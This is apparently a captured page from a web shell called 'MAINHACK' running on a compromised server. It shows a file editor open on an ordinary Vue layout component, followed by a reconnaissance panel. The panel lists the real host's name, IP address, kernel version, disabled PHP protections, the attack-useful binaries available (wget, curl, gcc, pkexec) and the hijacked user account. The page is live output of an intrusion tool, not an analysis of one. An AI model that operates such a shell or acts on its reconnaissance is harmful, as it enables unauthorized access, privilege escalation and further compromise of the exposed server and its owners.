[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DefaultComponent.vue
<template> <div :dir="direction"> <div v-if="theme === 'frontend'"> <FrontendNavbarComponent /> <FrontendCartComponent /> <router-view></router-view> <FrontendMobileNavBarComponent /> <FrontendMobileAccountComponent /> <FrontendCookiesComponent /> <FrontendFooterComponent /> </div> <div v-if="theme === 'backend'"> <main class="db-main" v-if="logged"> <BackendNavbarComponent /> <BackendMenuComponent /> <router-view></router-view> </main> <div v-if="!logged"> <router-view></router-view> </div> </div> <div v-if="theme === 'table'"> <TableNavbarComponent /> <TableCartComponent /> <router-view></router-view> <TableFooterComponent /> </div> </div> </template> <script> import BackendNavbarComponent from "./layouts/backend/BackendNavbarComponent"; import BackendMenuComponent from "./layouts/backend/BackendMenuComponent"; import FrontendNavbarComponent from "./layouts/frontend/FrontendNavBarComponent"; import FrontendFooterComponent from "./layouts/frontend/FrontendFooterComponent"; import FrontendMobileNavBarComponent from "./layouts/frontend/FrontendMobileNavBarComponent"; import FrontendMobileAccountComponent from "./layouts/frontend/FrontendMobileAccountComponent"; import FrontendCartComponent from "./layouts/frontend/FrontendCartComponent"; import FrontendCookiesComponent from "./layouts/frontend/FrontendCookiesComponent"; import TableNavbarComponent from "./layouts/table/TableNavBarComponent.vue"; import TableFooterComponent from "./layouts/table/TableFooterComponent.vue"; import TableCartComponent from "./layouts/table/TableCartComponent.vue"; import displayModeEnum from "../enums/modules/displayModeEnum"; import env from "../config/env"; export default { name: "DefaultComponent", components: { TableCartComponent, TableFooterComponent, TableNavbarComponent, FrontendCartComponent, FrontendMobileAccountComponent, FrontendMobileNavBarComponent, FrontendCookiesComponent, FrontendFooterComponent, FrontendNavbarComponent, BackendNavbarComponent, BackendMenuComponent, }, data() { return { theme: "frontend", }; }, computed: { direction: function () { return this.$store.getters['frontendLanguage/show'].display_mode === displayModeEnum.RTL ? 'rtl' : 'ltr'; }, logged: function () { return this.$store.getters.authStatus; }, }, beforeMount() { this.$store .dispatch("frontendSetting/lists") .then((res) => { this.$store.dispatch("globalState/init", { branch_id: res.data.data.site_default_branch, language_id: res.data.data.site_default_language, }); }) .catch(); if(env.DEMO ==="true" || env.DEMO ===true || env.DEMO ==="1" || env.DEMO ===1) { this.$store.dispatch("authcheck").then(res => { if (res.data.status === false && (this.theme == "frontend" || this.theme == "backend")) { this.$router.push({ name: "frontend.home" }); }; }).catch(); } }, watch: { $route(e) { if (e.meta.isFrontend === true) { this.theme = "frontend"; } else if (e.meta.isTable === true) { this.theme = "table"; } else { this.theme = "backend"; } }, }, }; </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002